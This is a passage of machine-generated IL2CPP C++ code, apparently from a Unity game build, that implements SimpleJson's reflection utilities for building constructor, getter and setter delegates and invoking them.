___constructorInfo0; NullCheck(L_1); L_1->set_constructorInfo_0(L_2); U3CGetConstructorByReflectionU3Ec__AnonStorey0_t2768820979 * L_3 = V_0; IntPtr_t L_4; L_4.set_m_value_0((void*)(void*)U3CGetConstructorByReflectionU3Ec__AnonStorey0_U3CU3Em__0_m1146195789_MethodInfo_var); ConstructorDelegate_t3084043859 * L_5 = (ConstructorDelegate_t3084043859 *)il2cpp_codegen_object_new(ConstructorDelegate_t3084043859_il2cpp_TypeInfo_var); ConstructorDelegate__ctor_m2500175747(L_5, L_3, L_4, /*hidden argument*/NULL); V_1 = L_5; goto IL_0020; } IL_0020: { ConstructorDelegate_t3084043859 * L_6 = V_1; return L_6; } } // SimpleJson.Reflection.ReflectionUtils/ConstructorDelegate SimpleJson.Reflection.ReflectionUtils::GetConstructorByReflection(System.Type,System.Type[]) extern "C" ConstructorDelegate_t3084043859 * ReflectionUtils_GetConstructorByReflection_m2587709881 (Il2CppObject * __this /* static, unused */, Type_t * ___type0, TypeU5BU5D_t1664964607* ___argsType1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ReflectionUtils_GetConstructorByReflection_m2587709881_MetadataUsageId); s_Il2CppMethodInitialized = true; } ConstructorInfo_t2851816542 * V_0 = NULL; ConstructorDelegate_t3084043859 * V_1 = NULL; ConstructorDelegate_t3084043859 * G_B3_0 = NULL; { Type_t * L_0 = ___type0; TypeU5BU5D_t1664964607* L_1 = ___argsType1; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); ConstructorInfo_t2851816542 * L_2 = ReflectionUtils_GetConstructorInfo_m577110104(NULL /*static, unused*/, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; ConstructorInfo_t2851816542 * L_3 = V_0; if (L_3) { goto IL_0015; } } { G_B3_0 = ((ConstructorDelegate_t3084043859 *)(NULL)); goto IL_001b; } IL_0015: { ConstructorInfo_t2851816542 * L_4 = V_0; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); ConstructorDelegate_t3084043859 * L_5 = ReflectionUtils_GetConstructorByReflection_m2214455175(NULL /*static, unused*/, L_4, /*hidden argument*/NULL); G_B3_0 = L_5; } IL_001b: { V_1 = G_B3_0; goto IL_0021; } IL_0021: { ConstructorDelegate_t3084043859 * L_6 = V_1; return L_6; } } // SimpleJson.Reflection.ReflectionUtils/GetDelegate SimpleJson.Reflection.ReflectionUtils::GetGetMethod(System.Reflection.PropertyInfo) extern "C" GetDelegate_t352281633 * ReflectionUtils_GetGetMethod_m3146646939 (Il2CppObject * __this /* static, unused */, PropertyInfo_t * ___propertyInfo0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ReflectionUtils_GetGetMethod_m3146646939_MetadataUsageId); s_Il2CppMethodInitialized = true; } GetDelegate_t352281633 * V_0 = NULL; { PropertyInfo_t * L_0 = ___propertyInfo0; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); GetDelegate_t352281633 * L_1 = ReflectionUtils_GetGetMethodByReflection_m436060527(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_000d; } IL_000d: { GetDelegate_t352281633 * L_2 = V_0; return L_2; } } // SimpleJson.Reflection.ReflectionUtils/GetDelegate SimpleJson.Reflection.ReflectionUtils::GetGetMethod(System.Reflection.FieldInfo) extern "C" GetDelegate_t352281633 * ReflectionUtils_GetGetMethod_m2453322602 (Il2CppObject * __this /* static, unused */, FieldInfo_t * ___fieldInfo0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ReflectionUtils_GetGetMethod_m2453322602_MetadataUsageId); s_Il2CppMethodInitialized = true; } GetDelegate_t352281633 * V_0 = NULL; { FieldInfo_t * L_0 = ___fieldInfo0; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); GetDelegate_t352281633 * L_1 = ReflectionUtils_GetGetMethodByReflection_m4176955894(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_000d; } IL_000d: { GetDelegate_t352281633 * L_2 = V_0; return L_2; } } // SimpleJson.Reflection.ReflectionUtils/GetDelegate SimpleJson.Reflection.ReflectionUtils::GetGetMethodByReflection(System.Reflection.PropertyInfo) extern "C" GetDelegate_t352281633 * ReflectionUtils_GetGetMethodByReflection_m436060527 (Il2CppObject * __this /* static, unused */, PropertyInfo_t * ___propertyInfo0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ReflectionUtils_GetGetMethodByReflection_m436060527_MetadataUsageId); s_Il2CppMethodInitialized = true; } U3CGetGetMethodByReflectionU3Ec__AnonStorey1_t2504894547 * V_0 = NULL; GetDelegate_t352281633 * V_1 = NULL; { U3CGetGetMethodByReflectionU3Ec__AnonStorey1_t2504894547 * L_0 = (U3CGetGetMethodByReflectionU3Ec__AnonStorey1_t2504894547 *)il2cpp_codegen_object_new(U3CGetGetMethodByReflectionU3Ec__AnonStorey1_t2504894547_il2cpp_TypeInfo_var); U3CGetGetMethodByReflectionU3Ec__AnonStorey1__ctor_m2870508847(L_0, /*hidden argument*/NULL); V_0 = L_0; U3CGetGetMethodByReflectionU3Ec__AnonStorey1_t2504894547 * L_1 = V_0; PropertyInfo_t * L_2 = ___propertyInfo0; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); MethodInfo_t * L_3 = ReflectionUtils_GetGetterMethodInfo_m1539519564(NULL /*static, unused*/, L_2, /*hidden argument*/NULL); NullCheck(L_1); L_1->set_methodInfo_0(L_3); U3CGetGetMethodByReflectionU3Ec__AnonStorey1_t2504894547 * L_4 = V_0; IntPtr_t L_5; L_5.set_m_value_0((void*)(void*)U3CGetGetMethodByReflectionU3Ec__AnonStorey1_U3CU3Em__0_m1232029371_MethodInfo_var); GetDelegate_t352281633 * L_6 = (GetDelegate_t352281633 *)il2cpp_codegen_object_new(GetDelegate_t352281633_il2cpp_TypeInfo_var); GetDelegate__ctor_m2792866377(L_6, L_4, L_5, /*hidden argument*/NULL); V_1 = L_6; goto IL_0025; } IL_0025: { GetDelegate_t352281633 * L_7 = V_1; return L_7; } } // SimpleJson.Reflection.ReflectionUtils/GetDelegate SimpleJson.Reflection.ReflectionUtils::GetGetMethodByReflection(System.Reflection.FieldInfo) extern "C" GetDelegate_t352281633 * ReflectionUtils_GetGetMethodByReflection_m4176955894 (Il2CppObject * __this /* static, unused */, FieldInfo_t * ___fieldInfo0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ReflectionUtils_GetGetMethodByReflection_m4176955894_MetadataUsageId); s_Il2CppMethodInitialized = true; } U3CGetGetMethodByReflectionU3Ec__AnonStorey2_t4070978488 * V_0 = NULL; GetDelegate_t352281633 * V_1 = NULL; { U3CGetGetMethodByReflectionU3Ec__AnonStorey2_t4070978488 * L_0 = (U3CGetGetMethodByReflectionU3Ec__AnonStorey2_t4070978488 *)il2cpp_codegen_object_new(U3CGetGetMethodByReflectionU3Ec__AnonStorey2_t4070978488_il2cpp_TypeInfo_var); U3CGetGetMethodByReflectionU3Ec__AnonStorey2__ctor_m1538699712(L_0, /*hidden argument*/NULL); V_0 = L_0; U3CGetGetMethodByReflectionU3Ec__AnonStorey2_t4070978488 * L_1 = V_0; FieldInfo_t * L_2 = ___fieldInfo0; NullCheck(L_1); L_1->set_fieldInfo_0(L_2); U3CGetGetMethodByReflectionU3Ec__AnonStorey2_t4070978488 * L_3 = V_0; IntPtr_t L_4; L_4.set_m_value_0((void*)(void*)U3CGetGetMethodByReflectionU3Ec__AnonStorey2_U3CU3Em__0_m4104742316_MethodInfo_var); GetDelegate_t352281633 * L_5 = (GetDelegate_t352281633 *)il2cpp_codegen_object_new(GetDelegate_t352281633_il2cpp_TypeInfo_var); GetDelegate__ctor_m2792866377(L_5, L_3, L_4, /*hidden argument*/NULL); V_1 = L_5; goto IL_0020; } IL_0020: { GetDelegate_t352281633 * L_6 = V_1; return L_6; } } // SimpleJson.Reflection.ReflectionUtils/SetDelegate SimpleJson.Reflection.ReflectionUtils::GetSetMethod(System.Reflection.PropertyInfo) extern "C" SetDelegate_t4206365109 * ReflectionUtils_GetSetMethod_m2416528667 (Il2CppObject * __this /* static, unused */, PropertyInfo_t * ___propertyInfo0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ReflectionUtils_GetSetMethod_m2416528667_MetadataUsageId); s_Il2CppMethodInitialized = true; } SetDelegate_t4206365109 * V_0 = NULL; { PropertyInfo_t * L_0 = ___propertyInfo0; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); SetDelegate_t4206365109 * L_1 = ReflectionUtils_GetSetMethodByReflection_m45132015(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_000d; } IL_000d: { SetDelegate_t4206365109 * L_2 = V_0; return L_2; } } // SimpleJson.Reflection.ReflectionUtils/SetDelegate SimpleJson.Reflection.ReflectionUtils::GetSetMethod(System.Reflection.FieldInfo) extern "C" SetDelegate_t4206365109 * ReflectionUtils_GetSetMethod_m3627950826 (Il2CppObject * __this /* static, unused */, FieldInfo_t * ___fieldInfo0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ReflectionUtils_GetSetMethod_m3627950826_MetadataUsageId); s_Il2CppMethodInitialized = true; } SetDelegate_t4206365109 * V_0 = NULL; { FieldInfo_t * L_0 = ___fieldInfo0; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); SetDelegate_t4206365109 * L_1 = ReflectionUtils_GetSetMethodByReflection_m2697613686(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_000d; } IL_000d: { SetDelegate_t4206365109 * L_2 = V_0; return L_2; } } // SimpleJson.Reflection.ReflectionUtils/SetDelegate SimpleJson.Reflection.ReflectionUtils::GetSetMethodByReflection(System.Reflection.PropertyInfo) extern "C" SetDelegate_t4206365109 * ReflectionUtils_GetSetMethodByReflection_m45132015 (Il2CppObject * __this /* static, unused */, PropertyInfo_t * ___propertyInfo0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ReflectionUtils_GetSetMethodByReflection_m45132015_MetadataUsageId); s_Il2CppMethodInitialized = true; } U3CGetSetMethodByReflectionU3Ec__AnonStorey3_t3443081649 * V_0 = NULL; SetDelegate_t4206365109 * V_1 = NULL; { U3CGetSetMethodByReflectionU3Ec__AnonStorey3_t3443081649 * L_0 = (U3CGetSetMethodByReflectionU3Ec__AnonStorey3_t3443081649 *)il2cpp_codegen_object_new(U3CGetSetMethodByReflectionU3Ec__AnonStorey3_t3443081649_il2cpp_TypeInfo_var); U3CGetSetMethodByReflectionU3Ec__AnonStorey3__ctor_m1294123473(L_0, /*hidden argument*/NULL); V_0 = L_0; U3CGetSetMethodByReflectionU3Ec__AnonStorey3_t3443081649 * L_1 = V_0; PropertyInfo_t * L_2 = ___propertyInfo0; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); MethodInfo_t * L_3 = ReflectionUtils_GetSetterMethodInfo_m1933298824(NULL /*static, unused*/, L_2, /*hidden argument*/NULL); NullCheck(L_1); L_1->set_methodInfo_0(L_3); U3CGetSetMethodByReflectionU3Ec__AnonStorey3_t3443081649 * L_4 = V_0; IntPtr_t L_5; L_5.set_m_value_0((void*)(void*)U3CGetSetMethodByReflectionU3Ec__AnonStorey3_U3CU3Em__0_m1051111082_MethodInfo_var); SetDelegate_t4206365109 * L_6 = (SetDelegate_t4206365109 *)il2cpp_codegen_object_new(SetDelegate_t4206365109_il2cpp_TypeInfo_var); SetDelegate__ctor_m3526263997(L_6, L_4, L_5, /*hidden argument*/NULL); V_1 = L_6; goto IL_0025; } IL_0025: { SetDelegate_t4206365109 * L_7 = V_1; return L_7; } } // SimpleJson.Reflection.ReflectionUtils/SetDelegate SimpleJson.Reflection.ReflectionUtils::GetSetMethodByReflection(System.Reflection.FieldInfo) extern "C" SetDelegate_t4206365109 * ReflectionUtils_GetSetMethodByReflection_m2697613686 (Il2CppObject * __this /* static, unused */, FieldInfo_t * ___fieldInfo0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ReflectionUtils_GetSetMethodByReflection_m2697613686_MetadataUsageId); s_Il2CppMethodInitialized = true; } U3CGetSetMethodByReflectionU3Ec__AnonStorey4_t1070428654 * V_0 = NULL; SetDelegate_t4206365109 * V_1 = NULL; { U3CGetSetMethodByReflectionU3Ec__AnonStorey4_t1070428654 * L_0 = (U3CGetSetMethodByReflectionU3Ec__AnonStorey4_t1070428654 *)il2cpp_codegen_object_new(U3CGetSetMethodByReflectionU3Ec__AnonStorey4_t1070428654_il2cpp_TypeInfo_var); U3CGetSetMethodByReflectionU3Ec__AnonStorey4__ctor_m2797181794(L_0, /*hidden argument*/NULL); V_0 = L_0; U3CGetSetMethodByReflectionU3Ec__AnonStorey4_t1070428654 * L_1 = V_0; FieldInfo_t * L_2 = ___fieldInfo0; NullCheck(L_1); L_1->set_fieldInfo_0(L_2); U3CGetSetMethodByReflectionU3Ec__AnonStorey4_t1070428654 * L_3 = V_0; IntPtr_t L_4; L_4.set_m_value_0((void*)(void*)U3CGetSetMethodByReflectionU3Ec__AnonStorey4_U3CU3Em__0_m3536713517_MethodInfo_var); SetDelegate_t4206365109 * L_5 = (SetDelegate_t4206365109 *)il2cpp_codegen_object_new(SetDelegate_t4206365109_il2cpp_TypeInfo_var); SetDelegate__ctor_m3526263997(L_5, L_3, L_4, /*hidden argument*/NULL); V_1 = L_5; goto IL_0020; } IL_0020: { SetDelegate_t4206365109 * L_6 = V_1; return L_6; } } // System.Void SimpleJson.Reflection.ReflectionUtils::.cctor() extern "C" void ReflectionUtils__cctor_m3529209954 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ReflectionUtils__cctor_m3529209954_MetadataUsageId); s_Il2CppMethodInitialized = true; } { ((ReflectionUtils_t3032483338_StaticFields*)ReflectionUtils_t3032483338_il2cpp_TypeInfo_var->static_fields)->set_EmptyObjects_0(((ObjectU5BU5D_t3614634134*)SZArrayNew(ObjectU5BU5D_t3614634134_il2cpp_TypeInfo_var, (uint32_t)0))); return; } } // System.Void SimpleJson.Reflection.ReflectionUtils/c__AnonStorey0::.ctor() extern "C" void U3CGetConstructorByReflectionU3Ec__AnonStorey0__ctor_m1324197711 (U3CGetConstructorByReflectionU3Ec__AnonStorey0_t2768820979 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); return; } } // System.Object SimpleJson.Reflection.ReflectionUtils/c__AnonStorey0::<>m__0(System.Object[]) extern "C" Il2CppObject * U3CGetConstructorByReflectionU3Ec__AnonStorey0_U3CU3Em__0_m1146195789 (U3CGetConstructorByReflectionU3Ec__AnonStorey0_t2768820979 * __this, ObjectU5BU5D_t3614634134* ___args0, const MethodInfo* method) { Il2CppObject * V_0 = NULL; { ConstructorInfo_t2851816542 * L_0 = __this->get_constructorInfo_0(); ObjectU5BU5D_t3614634134* L_1 = ___args0; NullCheck(L_0); Il2CppObject * L_2 = ConstructorInfo_Invoke_m2144827141(L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_0013; } IL_0013: { Il2CppObject * L_3 = V_0; return L_3; } } // System.Void SimpleJson.Reflection.ReflectionUtils/c__AnonStorey1::.ctor() extern "C" void U3CGetGetMethodByReflectionU3Ec__AnonStorey1__ctor_m2870508847 (U3CGetGetMethodByReflectionU3Ec__AnonStorey1_t2504894547 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); return; } } // System.Object SimpleJson.Reflection.ReflectionUtils/c__AnonStorey1::<>m__0(System.Object) extern "C" Il2CppObject * U3CGetGetMethodByReflectionU3Ec__AnonStorey1_U3CU3Em__0_m1232029371 (U3CGetGetMethodByReflectionU3Ec__AnonStorey1_t2504894547 * __this, Il2CppObject * ___source0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (U3CGetGetMethodByReflectionU3Ec__AnonStorey1_U3CU3Em__0_m1232029371_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppObject * V_0 = NULL; { MethodInfo_t * L_0 = __this->get_methodInfo_0(); Il2CppObject * L_1 = ___source0; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); ObjectU5BU5D_t3614634134* L_2 = ((ReflectionUtils_t3032483338_StaticFields*)ReflectionUtils_t3032483338_il2cpp_TypeInfo_var->static_fields)->get_EmptyObjects_0(); NullCheck(L_0); Il2CppObject * L_3 = MethodBase_Invoke_m1075809207(L_0, L_1, L_2, /*hidden argument*/NULL); V_0 = L_3; goto IL_0018; } IL_0018: { Il2CppObject * L_4 = V_0; return L_4; } } // System.Void SimpleJson.Reflection.ReflectionUtils/c__AnonStorey2::.ctor() extern "C" void U3CGetGetMethodByReflectionU3Ec__AnonStorey2__ctor_m1538699712 (U3CGetGetMethodByReflectionU3Ec__AnonStorey2_t4070978488 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); return; } } // System.Object SimpleJson.Reflection.ReflectionUtils/c__AnonStorey2::<>m__0(System.Object) extern "C" Il2CppObject * U3CGetGetMethodByReflectionU3Ec__AnonStorey2_U3CU3Em__0_m4104742316 (U3CGetGetMethodByReflectionU3Ec__AnonStorey2_t4070978488 * __this, Il2CppObject * ___source0, const MethodInfo* method) { Il2CppObject * V_0 = NULL; { FieldInfo_t * L_0 = __this->get_fieldInfo_0(); Il2CppObject * L_1 = ___source0; NullCheck(L_0); Il2CppObject * L_2 = VirtFuncInvoker1< Il2CppObject *, Il2CppObject * >::Invoke(17 /* System.Object System.Reflection.FieldInfo::GetValue(System.Object) */, L_0, L_1); V_0 = L_2; goto IL_0013; } IL_0013: { Il2CppObject * L_3 = V_0; return L_3; } } // System.Void SimpleJson.Reflection.ReflectionUtils/c__AnonStorey3::.ctor() extern "C" void U3CGetSetMethodByReflectionU3Ec__AnonStorey3__ctor_m1294123473 (U3CGetSetMethodByReflectionU3Ec__AnonStorey3_t3443081649 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); return; } } // System.Void SimpleJson.Reflection.ReflectionUtils/c__AnonStorey3::<>m__0(System.Object,System.Object) extern "C" void U3CGetSetMethodByReflectionU3Ec__AnonStorey3_U3CU3Em__0_m1051111082 (U3CGetSetMethodByReflectionU3Ec__AnonStorey3_t3443081649 * __this, Il2CppObject * ___source0, Il2CppObject * ___value1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (U3CGetSetMethodByReflectionU3Ec__AnonStorey3_U3CU3Em__0_m1051111082_MetadataUsageId); s_Il2CppMethodInitialized = true; } { MethodInfo_t * L_0 = __this->get_methodInfo_0(); Il2CppObject * L_1 = ___source0; ObjectU5BU5D_t3614634134* L_2 = ((ObjectU5BU5D_t3614634134*)SZArrayNew(ObjectU5BU5D_t3614634134_il2cpp_TypeInfo_var, (uint32_t)1)); Il2CppObject * L_3 = ___value1; NullCheck(L_2); ArrayElementTypeCheck (L_2, L_3); (L_2)->SetAt(static_cast(0), (Il2CppObject *)L_3); NullCheck(L_0); MethodBase_Invoke_m1075809207(L_0, L_1, L_2, /*hidden argument*/NULL); return; } } // System.Void SimpleJson.Reflection.ReflectionUtils/c__AnonStorey4::.ctor() extern "C" void U3CGetSetMethodByReflectionU3Ec__AnonStorey4__ctor_m2797181794 (U3CGetSetMethodByReflectionU3Ec__AnonStorey4_t1070428654 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); return; } } // System.Void SimpleJson.Reflection.ReflectionUtils/c__AnonStorey4::<>m__0(System.Object,System.Object) extern "C" void U3CGetSetMethodByReflectionU3Ec__AnonStorey4_U3CU3Em__0_m3536713517 (U3CGetSetMethodByReflectionU3Ec__AnonStorey4_t1070428654 * __this, Il2CppObject * ___source0, Il2CppObject * ___value1, const MethodInfo* method) { { FieldInfo_t * L_0 = __this->get_fieldInfo_0(); Il2CppObject * L_1 = ___source0; Il2CppObject * L_2 = ___value1; NullCheck(L_0); FieldInfo_SetValue_m2504255891(L_0, L_1, L_2, /*hidden argument*/NULL); return; } } // System.Void SimpleJson.Reflection.ReflectionUtils/ConstructorDelegate::.ctor(System.Object,System.IntPtr) extern "C" void ConstructorDelegate__ctor_m2500175747 (ConstructorDelegate_t3084043859 * __this, Il2CppObject * ___object0, IntPtr_t ___method1, const MethodInfo* method) { __this->set_method_ptr_0((Il2CppMethodPointer)((MethodInfo*)___method1.get_m_value_0())->methodPointer); __this->set_method_3(___method1); __this->set_m_target_2(___object0); } // System.Object SimpleJson.Reflection.ReflectionUtils/ConstructorDelegate::Invoke(System.Object[]) extern "C" Il2CppObject * ConstructorDelegate_Invoke_m2493638242 (ConstructorDelegate_t3084043859 * __this, ObjectU5BU5D_t3614634134* ___args0, const MethodInfo* method) { if(__this->get_prev_9() != NULL) { ConstructorDelegate_Invoke_m2493638242((ConstructorDelegate_t3084043859 *)__this->get_prev_9(),___args0, method); } il2cpp_codegen_raise_execution_engine_exception_if_method_is_not_found((MethodInfo*)(__this->get_method_3().get_m_value_0())); bool ___methodIsStatic = MethodIsStatic((MethodInfo*)(__this->get_method_3().get_m_value_0())); if (__this->get_m_target_2() != NULL && ___methodIsStatic) { typedef Il2CppObject * (*FunctionPointerType) (Il2CppObject *, void* __this, ObjectU5BU5D_t3614634134* ___args0, const MethodInfo* method); return ((FunctionPointerType)__this->get_method_ptr_0())(NULL,__this->get_m_target_2(),___args0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else if (__this->get_m_target_2() != NULL || ___methodIsStatic) { typedef Il2CppObject * (*FunctionPointerType) (void* __this, ObjectU5BU5D_t3614634134* ___args0, const MethodInfo* method); return ((FunctionPointerType)__this->get_method_ptr_0())(__this->get_m_target_2(),___args0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else { typedef Il2CppObject * (*FunctionPointerType) (void* __this, const MethodInfo* method); return ((FunctionPointerType)__this->get_method_ptr_0())(___args0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } } // System.IAsyncResult SimpleJson.Reflection.ReflectionUtils/ConstructorDelegate::BeginInvoke(System.Object[],System.AsyncCallback,System.Object) extern "C" Il2CppObject * ConstructorDelegate_BeginInvoke_m2710763296 (ConstructorDelegate_t3084043859 * __this, ObjectU5BU5D_t3614634134* ___args0, AsyncCallback_t163412349 * ___callback1, Il2CppObject * ___object2, const MethodInfo* method) { void *__d_args[2] = {0}; __d_args[0] = ___args0; return (Il2CppObject *)il2cpp_codegen_delegate_begin_invoke((Il2CppDelegate*)__this, __d_args, (Il2CppDelegate*)___callback1, (Il2CppObject*)___object2); } // System.Object SimpleJson.Reflection.ReflectionUtils/ConstructorDelegate::EndInvoke(System.IAsyncResult) extern "C" Il2CppObject * ConstructorDelegate_EndInvoke_m3645696558 (ConstructorDelegate_t3084043859 * __this, Il2CppObject * ___result0, const MethodInfo* method) { Il2CppObject *__result = il2cpp_codegen_delegate_end_invoke((Il2CppAsyncResult*) ___result0, 0); return (Il2CppObject *)__result; } // System.Void SimpleJson.Reflection.ReflectionUtils/GetDelegate::.ctor(System.Object,System.IntPtr) extern "C" void GetDelegate__ctor_m2792866377 (GetDelegate_t352281633 * __this, Il2CppObject * ___object0, IntPtr_t ___method1, const MethodInfo* method) { __this->set_method_ptr_0((Il2CppMethodPointer)((MethodInfo*)___method1.get_m_value_0())->methodPointer); __this->set_method_3(___method1); __this->set_m_target_2(___object0); } // System.Object SimpleJson.Reflection.ReflectionUtils/GetDelegate::Invoke(System.Object) extern "C" Il2CppObject * GetDelegate_Invoke_m528436722 (GetDelegate_t352281633 * __this, Il2CppObject * ___source0, const MethodInfo* method) { if(__this->get_prev_9() != NULL) { GetDelegate_Invoke_m528436722((GetDelegate_t352281633 *)__this->get_prev_9(),___source0, method); } il2cpp_codegen_raise_execution_engine_exception_if_method_is_not_found((MethodInfo*)(__this->get_method_3().get_m_value_0())); bool ___methodIsStatic = MethodIsStatic((MethodInfo*)(__this->get_method_3().get_m_value_0())); if (__this->get_m_target_2() != NULL && ___methodIsStatic) { typedef Il2CppObject * (*FunctionPointerType) (Il2CppObject *, void* __this, Il2CppObject * ___source0, const MethodInfo* method); return ((FunctionPointerType)__this->get_method_ptr_0())(NULL,__this->get_m_target_2(),___source0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else if (__this->get_m_target_2() != NULL || ___methodIsStatic) { typedef Il2CppObject * (*FunctionPointerType) (void* __this, Il2CppObject * ___source0, const MethodInfo* method); return ((FunctionPointerType)__this->get_method_ptr_0())(__this->get_m_target_2(),___source0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else { typedef Il2CppObject * (*FunctionPointerType) (void* __this, const MethodInfo* method); return ((FunctionPointerType)__this->get_method_ptr_0())(___source0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } } // System.IAsyncResult SimpleJson.Reflection.ReflectionUtils/GetDelegate::BeginInvoke(System.Object,System.AsyncCallback,System.Object) extern "C" Il2CppObject * GetDelegate_BeginInvoke_m2948557404 (GetDelegate_t352281633 * __this, Il2CppObject * ___source0, AsyncCallback_t163412349 * ___callback1, Il2CppObject * ___object2, const MethodInfo* method) { void *__d_args[2] = {0}; __d_args[0] = ___source0; return (Il2CppObject *)il2cpp_codegen_delegate_begin_invoke((Il2CppDelegate*)__this, __d_args, (Il2CppDelegate*)___callback1, (Il2CppObject*)___object2); } // System.Object SimpleJson.Reflection.ReflectionUtils/GetDelegate::EndInvoke(System.IAsyncResult) extern "C" Il2CppObject * GetDelegate_EndInvoke_m1967267126 (GetDelegate_t352281633 * __this, Il2CppObject * ___result0, const MethodInfo* method) { Il2CppObject *__result = il2cpp_codegen_delegate_end_invoke((Il2CppAsyncResult*) ___result0, 0); return (Il2CppObject *)__result; } // System.Void SimpleJson.Reflection.ReflectionUtils/SetDelegate::.ctor(System.Object,System.IntPtr) extern "C" void SetDelegate__ctor_m3526263997 (SetDelegate_t4206365109 * __this, Il2CppObject * ___object0, IntPtr_t ___method1, const MethodInfo* method) { __this->set_method_ptr_0((Il2CppMethodPointer)((MethodInfo*)___method1.get_m_value_0())->methodPointer); __this->set_method_3(___method1); __this->set_m_target_2(___object0); } // System.Void SimpleJson.Reflection.ReflectionUtils/SetDelegate::Invoke(System.Object,System.Object) extern "C" void SetDelegate_Invoke_m1756397093 (SetDelegate_t4206365109 * __this, Il2CppObject * ___source0, Il2CppObject * ___value1, const MethodInfo* method) { if(__this->get_prev_9() != NULL) { SetDelegate_Invoke_m1756397093((SetDelegate_t4206365109 *)__this->get_prev_9(),___source0, ___value1, method); } il2cpp_codegen_raise_execution_engine_exception_if_method_is_not_found((MethodInfo*)(__this->get_method_3().get_m_value_0())); bool ___methodIsStatic = MethodIsStatic((MethodInfo*)(__this->get_method_3().get_m_value_0())); if (__this->get_m_target_2() != NULL && ___methodIsStatic) { typedef void (*FunctionPointerType) (Il2CppObject *, void* __this, Il2CppObject * ___source0, Il2CppObject * ___value1, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(NULL,__this->get_m_target_2(),___source0, ___value1,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else if (__this->get_m_target_2() != NULL || ___methodIsStatic) { typedef void (*FunctionPointerType) (void* __this, Il2CppObject * ___source0, Il2CppObject * ___value1, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(__this->get_m_target_2(),___source0, ___value1,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else { typedef void (*FunctionPointerType) (void* __this, Il2CppObject * ___value1, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(___source0, ___value1,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } } // System.IAsyncResult SimpleJson.Reflection.ReflectionUtils/SetDelegate::BeginInvoke(System.Object,System.Object,System.AsyncCallback,System.Object) extern "C" Il2CppObject * SetDelegate_BeginInvoke_m2186054362 (SetDelegate_t4206365109 * __this, Il2CppObject * ___source0, Il2CppObject * ___value1, AsyncCallback_t163412349 * ___callback2, Il2CppObject * ___object3, const MethodInfo* method) { void *__d_args[3] = {0}; __d_args[0] = ___source0; __d_args[1] = ___value1; return (Il2CppObject *)il2cpp_codegen_delegate_begin_invoke((Il2CppDelegate*)__this, __d_args, (Il2CppDelegate*)___callback2, (Il2CppObject*)___object3); } // System.Void SimpleJson.Reflection.ReflectionUtils/SetDelegate::EndInvoke(System.IAsyncResult) extern "C" void SetDelegate_EndInvoke_m382620167 (SetDelegate_t4206365109 * __this, Il2CppObject * ___result0, const MethodInfo* method) { 